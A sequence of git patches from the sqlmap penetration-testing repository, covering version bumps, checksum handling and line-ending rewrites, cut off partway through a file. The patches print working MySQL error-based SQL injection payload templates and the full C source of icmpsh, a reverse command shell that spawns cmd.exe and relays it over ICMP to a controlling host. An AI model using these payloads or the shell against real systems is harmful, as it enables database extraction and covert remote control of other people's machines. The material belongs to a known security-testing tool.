- Codestin Search App + Codestin Search App 2 - 1 + 4 3 1,8,9 1 - OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) - OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.6 + >= 5.5
@@ -241,55 +290,6 @@
- - Codestin Search App - 2 - 1 - 1 - 1,2,3,8,9 - 1 - AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - - - AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.1 -
-
- - - Codestin Search App - 2 - 1 - 3 - 1,2,3,8,9 - - 1 - OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - - - OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.1 -
-
- Codestin Search App 2 @@ -987,7 +987,7 @@ Codestin Search App 2 - 2 + 3 1 1,2,3,9 3 @@ -1276,7 +1276,7 @@ Codestin Search App 2 - 2 + 3 1 2,3 1 diff --git a/lib/core/settings.py b/lib/core/settings.py index abf779ca3cb..9d76951903c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.79" +VERSION = "1.10.1.80" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 360dc478c0dd1a38c9d3785ab6e155e1a35760e1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 23:58:35 +0100 Subject: [PATCH 083/135] Normalization of CRLF inside checkSums --- data/txt/sha256sums.txt | 6 +++--- doc/AUTHORS | 14 +++++++------- lib/core/common.py | 2 ++ lib/core/settings.py | 2 +- 4 files changed, 13 insertions(+), 11 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 93e316e6d9a..22f0e795326 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -85,7 +85,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml a2a2d3f8bf506f27ab0847ad4daa1fc41ca781dd58b70d2d9ac1360cf8151260 data/xml/queries.xml -abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS +0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md c8d5733111c6d1e387904bc14e98815f98f816f6e73f6a664de24c0f1d331d9b doc/THANKS.md d7e38b213c70fe519fff2e06a9fd0dcfb1d8bed7787e37916cd14faaf002e167 doc/THIRD-PARTY.md @@ -167,7 +167,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py -99906feaa3963ff0073ed92ed159aa9b85008ae32e38cfdc2e718a6acfa58c1d lib/core/common.py +89b993f6f640baaf8ff27da0970963c3673e881552e2d142c1c30c4f7323e59d lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -654c3814181dd2fc9d6acee0c30a1d541146630367e3823dd0fa2658f5960ecc lib/core/settings.py +db148648a411e4136dc4fefe15651c726ea3f718c27b53e413c3b850fb229b79 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/doc/AUTHORS b/doc/AUTHORS index d3758d676d3..300711a3a14 100644 --- a/doc/AUTHORS +++ b/doc/AUTHORS @@ -1,7 +1,7 @@ -Bernardo Damele Assumpcao Guimaraes (@inquisb) - - -Miroslav Stampar (@stamparm) - - -You can contact both developers by writing to dev@sqlmap.org +Bernardo Damele Assumpcao Guimaraes (@inquisb) + + +Miroslav Stampar (@stamparm) + + +You can contact both developers by writing to dev@sqlmap.org diff --git a/lib/core/common.py b/lib/core/common.py index a6d08854fbd..612705ede64 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5639,6 +5639,8 @@ def checkSums(): continue with open(filepath, "rb") as f: content = f.read() + if b"\r\n" in content and b"sqlmap" in content: + content = content.replace(b"\r\n", b"\n") if not hashlib.sha256(content).hexdigest() == expected: retVal &= False break diff --git a/lib/core/settings.py b/lib/core/settings.py index 9d76951903c..95586ddc29e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.80" +VERSION = "1.10.1.81" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f7fb153fdd2c9bbc6456befc669fd8ce05c57d8f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 29 Jan 2026 00:07:24 +0100 Subject: [PATCH 084/135] Adding some better heuristics into the checkSums --- data/txt/sha256sums.txt | 18 +- extra/icmpsh/icmpsh-m.c | 268 +++++----- extra/icmpsh/icmpsh-s.c | 688 +++++++++++++------------- extra/runcmd/src/runcmd.sln | 40 +- extra/runcmd/src/runcmd/runcmd.cpp | 92 ++-- extra/runcmd/src/runcmd/runcmd.vcproj | 450 ++++++++--------- extra/runcmd/src/runcmd/stdafx.cpp | 16 +- extra/runcmd/src/runcmd/stdafx.h | 34 +- lib/core/common.py | 3 +- lib/core/settings.py | 2 +- 10 files changed, 805 insertions(+), 806 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 22f0e795326..e99e47e1f94 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -125,21 +125,21 @@ c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb doc/translatio 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/dbgtool/__init__.py a777193f683475c63f0dd3916f86c4b473459640c3278ff921432836bc75c47f extra/dbgtool/README.txt b7557edb216f65056d359cd48f3191a642cf3a1838a422a67ffbef17b58535d7 extra/icmpsh/icmpsh.exe_ -2fcce0028d9dd0acfaec497599d6445832abad8e397e727967c31c834d04d598 extra/icmpsh/icmpsh-m.c +4838389bf1ceac806dff075e06c5be9c0637425f37c67053a4361a5f1b88a65c extra/icmpsh/icmpsh-m.c 8c38efaaf8974f9d08d9a743a7403eb6ae0a57b536e0d21ccb022f2c55a16016 extra/icmpsh/icmpsh-m.pl 12014ddddc09c58ef344659c02fd1614157cfb315575378f2c8cb90843222733 extra/icmpsh/icmpsh_m.py -1589e5edeaf80590d4d0ce1fd12aa176730d5eba3bfd72a9f28d3a1a9353a9db extra/icmpsh/icmpsh-s.c +6359bfef76fb5c887bb89c2241f6d65647308856f8d3ce3e10bf3fdde605e120 extra/icmpsh/icmpsh-s.c ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40 extra/icmpsh/__init__.py 27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8 extra/icmpsh/README.txt 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/__init__.py 191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e extra/runcmd/README.txt 53d98136e508330e3adad43e4a3b0ebc5143c79f0ee7bce5dacf92cb8f7a17fd extra/runcmd/runcmd.exe_ 70bd8a15e912f06e4ba0bd612a5f19a6b35ed0945b1e370f9b8700b120272d8f extra/runcmd/src/README.txt -084aea8f337e1aed405a581603324ec01951eadcfd7b4eefaf3000b73f8b2e1e extra/runcmd/src/runcmd/runcmd.cpp -e5c02d18abf544eebd18bd789121eaee4d638bae687402feafdd6daec18e82a1 extra/runcmd/src/runcmd/runcmd.vcproj -7c2a12c21b61f727a2b3c6e85bd098e7f8a8b585a74b5eb31eb676ac776d5d57 extra/runcmd/src/runcmd.sln -5e67c579a62715812a56731396d4cb432f16774a69f82629c6a3218174333605 extra/runcmd/src/runcmd/stdafx.cpp -7bd768f3a742dcebddbe76de26eeee1438355d8600fb19dce945eef6486a3edb extra/runcmd/src/runcmd/stdafx.h +baecf66c52fe3c39f7efa3a70f9d5bd6ea8f841abd8da9e6e11bdc80a995b3ae extra/runcmd/src/runcmd/runcmd.cpp +a24d2dc1a5a8688881bea6be358359626d339d4a93ea55e8b756615e3608b8dd extra/runcmd/src/runcmd/runcmd.vcproj +16d4453062ba3806fe6b62745757c66bf44748d25282263fe9ef362487b27db0 extra/runcmd/src/runcmd.sln +d4186cac6e736bdfe64db63aa00395a862b5fe5c78340870f0c79cae05a79e7d extra/runcmd/src/runcmd/stdafx.cpp +e278d40d3121d757c2e1b8cc8192397e5014f663fbf6d80dd1118443d4fc9442 extra/runcmd/src/runcmd/stdafx.h 38f59734b971d1dc200584936693296aeebef3e43e9e85d6ec3fd6427e5d6b4b extra/shellcodeexec/linux/shellcodeexec.x32_ b8bcb53372b8c92b27580e5cc97c8aa647e156a439e2306889ef892a51593b17 extra/shellcodeexec/linux/shellcodeexec.x64_ cfa1f8d02f815c4e8561f6adbdd4e84dda6b6af6c7a0d5eeb9d7346d07e1e7ad extra/shellcodeexec/README.txt @@ -167,7 +167,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py -89b993f6f640baaf8ff27da0970963c3673e881552e2d142c1c30c4f7323e59d lib/core/common.py +90b2abd849a15f6b75bae6bf650aecf70e4f2fec4c01776a22a0c3474b7ab6f2 lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -db148648a411e4136dc4fefe15651c726ea3f718c27b53e413c3b850fb229b79 lib/core/settings.py +1070a6f04c9fd65bfe323d5258f29d68804af178ab3a36702b8a3fd1f04a0239 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/extra/icmpsh/icmpsh-m.c b/extra/icmpsh/icmpsh-m.c index 32c3edb7429..95deb603bc0 100644 --- a/extra/icmpsh/icmpsh-m.c +++ b/extra/icmpsh/icmpsh-m.c @@ -1,134 +1,134 @@ -/* - * icmpsh - simple icmp command shell - * Copyright (c) 2010, Nico Leidecker - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define IN_BUF_SIZE 1024 -#define OUT_BUF_SIZE 64 - -// calculate checksum -unsigned short checksum(unsigned short *ptr, int nbytes) -{ - unsigned long sum; - unsigned short oddbyte, rs; - - sum = 0; - while(nbytes > 1) { - sum += *ptr++; - nbytes -= 2; - } - - if(nbytes == 1) { - oddbyte = 0; - *((unsigned char *) &oddbyte) = *(u_char *)ptr; - sum += oddbyte; - } - - sum = (sum >> 16) + (sum & 0xffff); - sum += (sum >> 16); - rs = ~sum; - return rs; -} - -int main(int argc, char **argv) -{ - int sockfd; - int flags; - char in_buf[IN_BUF_SIZE]; - char out_buf[OUT_BUF_SIZE]; - unsigned int out_size; - int nbytes; - struct iphdr *ip; - struct icmphdr *icmp; - char *data; - struct sockaddr_in addr; - - - printf("icmpsh - master\n"); - - // create raw ICMP socket - sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); - if (sockfd == -1) { - perror("socket"); - return -1; - } - - // set stdin to non-blocking - flags = fcntl(0, F_GETFL, 0); - flags |= O_NONBLOCK; - fcntl(0, F_SETFL, flags); - - printf("running...\n"); - while(1) { - - // read data from socket - memset(in_buf, 0x00, IN_BUF_SIZE); - nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); - if (nbytes > 0) { - // get ip and icmp header and data part - ip = (struct iphdr *) in_buf; - if (nbytes > sizeof(struct iphdr)) { - nbytes -= sizeof(struct iphdr); - icmp = (struct icmphdr *) (ip + 1); - if (nbytes > sizeof(struct icmphdr)) { - nbytes -= sizeof(struct icmphdr); - data = (char *) (icmp + 1); - data[nbytes] = '\0'; - printf("%s", data); - fflush(stdout); - } - - // reuse headers - icmp->type = 0; - addr.sin_family = AF_INET; - addr.sin_addr.s_addr = ip->saddr; - - // read data from stdin - nbytes = read(0, out_buf, OUT_BUF_SIZE); - if (nbytes > -1) { - memcpy((char *) (icmp + 1), out_buf, nbytes); - out_size = nbytes; - } else { - out_size = 0; - } - - icmp->checksum = 0x00; - icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); - - // send reply - nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); - if (nbytes == -1) { - perror("sendto"); - return -1; - } - } - } - } - - return 0; -} - +/* + * icmpsh - simple icmp command shell + * Copyright (c) 2010, Nico Leidecker + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define IN_BUF_SIZE 1024 +#define OUT_BUF_SIZE 64 + +// calculate checksum +unsigned short checksum(unsigned short *ptr, int nbytes) +{ + unsigned long sum; + unsigned short oddbyte, rs; + + sum = 0; + while(nbytes > 1) { + sum += *ptr++; + nbytes -= 2; + } + + if(nbytes == 1) { + oddbyte = 0; + *((unsigned char *) &oddbyte) = *(u_char *)ptr; + sum += oddbyte; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + rs = ~sum; + return rs; +} + +int main(int argc, char **argv) +{ + int sockfd; + int flags; + char in_buf[IN_BUF_SIZE]; + char out_buf[OUT_BUF_SIZE]; + unsigned int out_size; + int nbytes; + struct iphdr *ip; + struct icmphdr *icmp; + char *data; + struct sockaddr_in addr; + + + printf("icmpsh - master\n"); + + // create raw ICMP socket + sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); + if (sockfd == -1) { + perror("socket"); + return -1; + } + + // set stdin to non-blocking + flags = fcntl(0, F_GETFL, 0); + flags |= O_NONBLOCK; + fcntl(0, F_SETFL, flags); + + printf("running...\n"); + while(1) { + + // read data from socket + memset(in_buf, 0x00, IN_BUF_SIZE); + nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); + if (nbytes > 0) { + // get ip and icmp header and data part + ip = (struct iphdr *) in_buf; + if (nbytes > sizeof(struct iphdr)) { + nbytes -= sizeof(struct iphdr); + icmp = (struct icmphdr *) (ip + 1); + if (nbytes > sizeof(struct icmphdr)) { + nbytes -= sizeof(struct icmphdr); + data = (char *) (icmp + 1); + data[nbytes] = '\0'; + printf("%s", data); + fflush(stdout); + } + + // reuse headers + icmp->type = 0; + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = ip->saddr; + + // read data from stdin + nbytes = read(0, out_buf, OUT_BUF_SIZE); + if (nbytes > -1) { + memcpy((char *) (icmp + 1), out_buf, nbytes); + out_size = nbytes; + } else { + out_size = 0; + } + + icmp->checksum = 0x00; + icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); + + // send reply + nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); + if (nbytes == -1) { + perror("sendto"); + return -1; + } + } + } + } + + return 0; +} + diff --git a/extra/icmpsh/icmpsh-s.c b/extra/icmpsh/icmpsh-s.c index af30618f9b5..c108509774d 100644 --- a/extra/icmpsh/icmpsh-s.c +++ b/extra/icmpsh/icmpsh-s.c @@ -1,344 +1,344 @@ -/* - * icmpsh - simple icmp command shell - * Copyright (c) 2010, Nico Leidecker - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - -#include -#include -#include -#include -#include -#include - -#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) - -#define STATUS_OK 0 -#define STATUS_SINGLE 1 -#define STATUS_PROCESS_NOT_CREATED 2 - -#define TRANSFER_SUCCESS 1 -#define TRANSFER_FAILURE 0 - -#define DEFAULT_TIMEOUT 3000 -#define DEFAULT_DELAY 200 -#define DEFAULT_MAX_BLANKS 10 -#define DEFAULT_MAX_DATA_SIZE 64 - -FARPROC icmp_create, icmp_send, to_ip; - -int verbose = 0; - -int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) -{ - SECURITY_ATTRIBUTES sattr; - STARTUPINFOA si; - HANDLE in_read, out_write; - - memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); - memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); - - // create communication pipes - memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); - sattr.nLength = sizeof(SECURITY_ATTRIBUTES); - sattr.bInheritHandle = TRUE; - sattr.lpSecurityDescriptor = NULL; - - if (!CreatePipe(out_read, &out_write, &sattr, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - - if (!CreatePipe(&in_read, in_write, &sattr, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - - // spawn process - memset(&si, 0x00, sizeof(STARTUPINFO)); - si.cb = sizeof(STARTUPINFO); - si.hStdError = out_write; - si.hStdOutput = out_write; - si.hStdInput = in_read; - si.dwFlags |= STARTF_USESTDHANDLES; - - if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { - return STATUS_PROCESS_NOT_CREATED; - } - - CloseHandle(out_write); - CloseHandle(in_read); - - return STATUS_OK; -} - -void usage(char *path) -{ - printf("%s [options] -t target\n", path); - printf("options:\n"); - printf(" -t host host ip address to send ping requests to\n"); - printf(" -r send a single test icmp request and then quit\n"); - printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); - printf(" -o milliseconds timeout in milliseconds\n"); - printf(" -h this screen\n"); - printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); - printf(" before quitting\n"); - printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE); - printf("In order to improve the speed, lower the delay (-d) between requests or\n"); - printf("increase the size (-s) of the data buffer\n"); -} - -void create_icmp_channel(HANDLE *icmp_chan) -{ - // create icmp file - *icmp_chan = (HANDLE) icmp_create(); -} - -int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) -{ - int rs; - char *temp_in_buf; - int nbytes; - - PICMP_ECHO_REPLY echo_reply; - - temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); - if (!temp_in_buf) { - return TRANSFER_FAILURE; - } - - // send data to remote host - rs = icmp_send( - icmp_chan, - target, - out_buf, - out_buf_size, - NULL, - temp_in_buf, - max_in_data_size + ICMP_HEADERS_SIZE, - timeout); - - // check received data - if (rs > 0) { - echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; - if (echo_reply->DataSize > max_in_data_size) { - nbytes = max_in_data_size; - } else { - nbytes = echo_reply->DataSize; - } - memcpy(in_buf, echo_reply->Data, nbytes); - *in_buf_size = nbytes; - - free(temp_in_buf); - return TRANSFER_SUCCESS; - } - - free(temp_in_buf); - - return TRANSFER_FAILURE; -} - -int load_deps() -{ - HMODULE lib; - - lib = LoadLibraryA("ws2_32.dll"); - if (lib != NULL) { - to_ip = GetProcAddress(lib, "inet_addr"); - if (!to_ip) { - return 0; - } - } - - lib = LoadLibraryA("iphlpapi.dll"); - if (lib != NULL) { - icmp_create = GetProcAddress(lib, "IcmpCreateFile"); - icmp_send = GetProcAddress(lib, "IcmpSendEcho"); - if (icmp_create && icmp_send) { - return 1; - } - } - - lib = LoadLibraryA("ICMP.DLL"); - if (lib != NULL) { - icmp_create = GetProcAddress(lib, "IcmpCreateFile"); - icmp_send = GetProcAddress(lib, "IcmpSendEcho"); - if (icmp_create && icmp_send) { - return 1; - } - } - - printf("failed to load functions (%u)", GetLastError()); - - return 0; -} -int main(int argc, char **argv) -{ - int opt; - char *target; - unsigned int delay, timeout; - unsigned int ip_addr; - HANDLE pipe_read, pipe_write; - HANDLE icmp_chan; - unsigned char *in_buf, *out_buf; - unsigned int in_buf_size, out_buf_size; - DWORD rs; - int blanks, max_blanks; - PROCESS_INFORMATION pi; - int status; - unsigned int max_data_size; - - // set defaults - target = 0; - timeout = DEFAULT_TIMEOUT; - delay = DEFAULT_DELAY; - max_blanks = DEFAULT_MAX_BLANKS; - max_data_size = DEFAULT_MAX_DATA_SIZE; - - status = STATUS_OK; - if (!load_deps()) { - printf("failed to load ICMP library\n"); - return -1; - } - - // parse command line options - for (opt = 1; opt < argc; opt++) { - if (argv[opt][0] == '-') { - switch(argv[opt][1]) { - case 'h': - usage(*argv); - return 0; - case 't': - if (opt + 1 < argc) { - target = argv[opt + 1]; - } - break; - case 'd': - if (opt + 1 < argc) { - delay = atol(argv[opt + 1]); - } - break; - case 'o': - if (opt + 1 < argc) { - timeout = atol(argv[opt + 1]); - } - break; - case 'r': - status = STATUS_SINGLE; - break; - case 'b': - if (opt + 1 < argc) { - max_blanks = atol(argv[opt + 1]); - } - break; - case 's': - if (opt + 1 < argc) { - max_data_size = atol(argv[opt + 1]); - } - break; - default: - printf("unrecognized option -%c\n", argv[1][0]); - usage(*argv); - return -1; - } - } - } - - if (!target) { - printf("you need to specify a host with -t. Try -h for more options\n"); - return -1; - } - ip_addr = to_ip(target); - - // don't spawn a shell if we're only sending a single test request - if (status != STATUS_SINGLE) { - status = spawn_shell(&pi, &pipe_read, &pipe_write); - } - - // create icmp channel - create_icmp_channel(&icmp_chan); - if (icmp_chan == INVALID_HANDLE_VALUE) { - printf("unable to create ICMP file: %u\n", GetLastError()); - return -1; - } - - // allocate transfer buffers - in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); - out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); - if (!in_buf || !out_buf) { - printf("failed to allocate memory for transfer buffers\n"); - return -1; - } - memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); - memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); - - // sending/receiving loop - blanks = 0; - do { - - switch(status) { - case STATUS_SINGLE: - // reply with a static string - out_buf_size = sprintf(out_buf, "Test1234\n"); - break; - case STATUS_PROCESS_NOT_CREATED: - // reply with error message - out_buf_size = sprintf(out_buf, "Process was not created\n"); - break; - default: - // read data from process via pipe - out_buf_size = 0; - if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { - if (out_buf_size > 0) { - out_buf_size = 0; - rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); - if (!rs && GetLastError() != ERROR_IO_PENDING) { - out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); - } - } - } else { - out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError()); - } - break; - } - - // send request/receive response - if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { - if (status == STATUS_OK) { - // write data from response back into pipe - WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); - } - blanks = 0; - } else { - // no reply received or error occured - blanks++; - } - - // wait between requests - Sleep(delay); - - } while (status == STATUS_OK && blanks < max_blanks); - - if (status == STATUS_OK) { - TerminateProcess(pi.hProcess, 0); - } - - return 0; -} - +/* + * icmpsh - simple icmp command shell + * Copyright (c) 2010, Nico Leidecker + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + + +#include +#include +#include +#include +#include +#include + +#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) + +#define STATUS_OK 0 +#define STATUS_SINGLE 1 +#define STATUS_PROCESS_NOT_CREATED 2 + +#define TRANSFER_SUCCESS 1 +#define TRANSFER_FAILURE 0 + +#define DEFAULT_TIMEOUT 3000 +#define DEFAULT_DELAY 200 +#define DEFAULT_MAX_BLANKS 10 +#define DEFAULT_MAX_DATA_SIZE 64 + +FARPROC icmp_create, icmp_send, to_ip; + +int verbose = 0; + +int 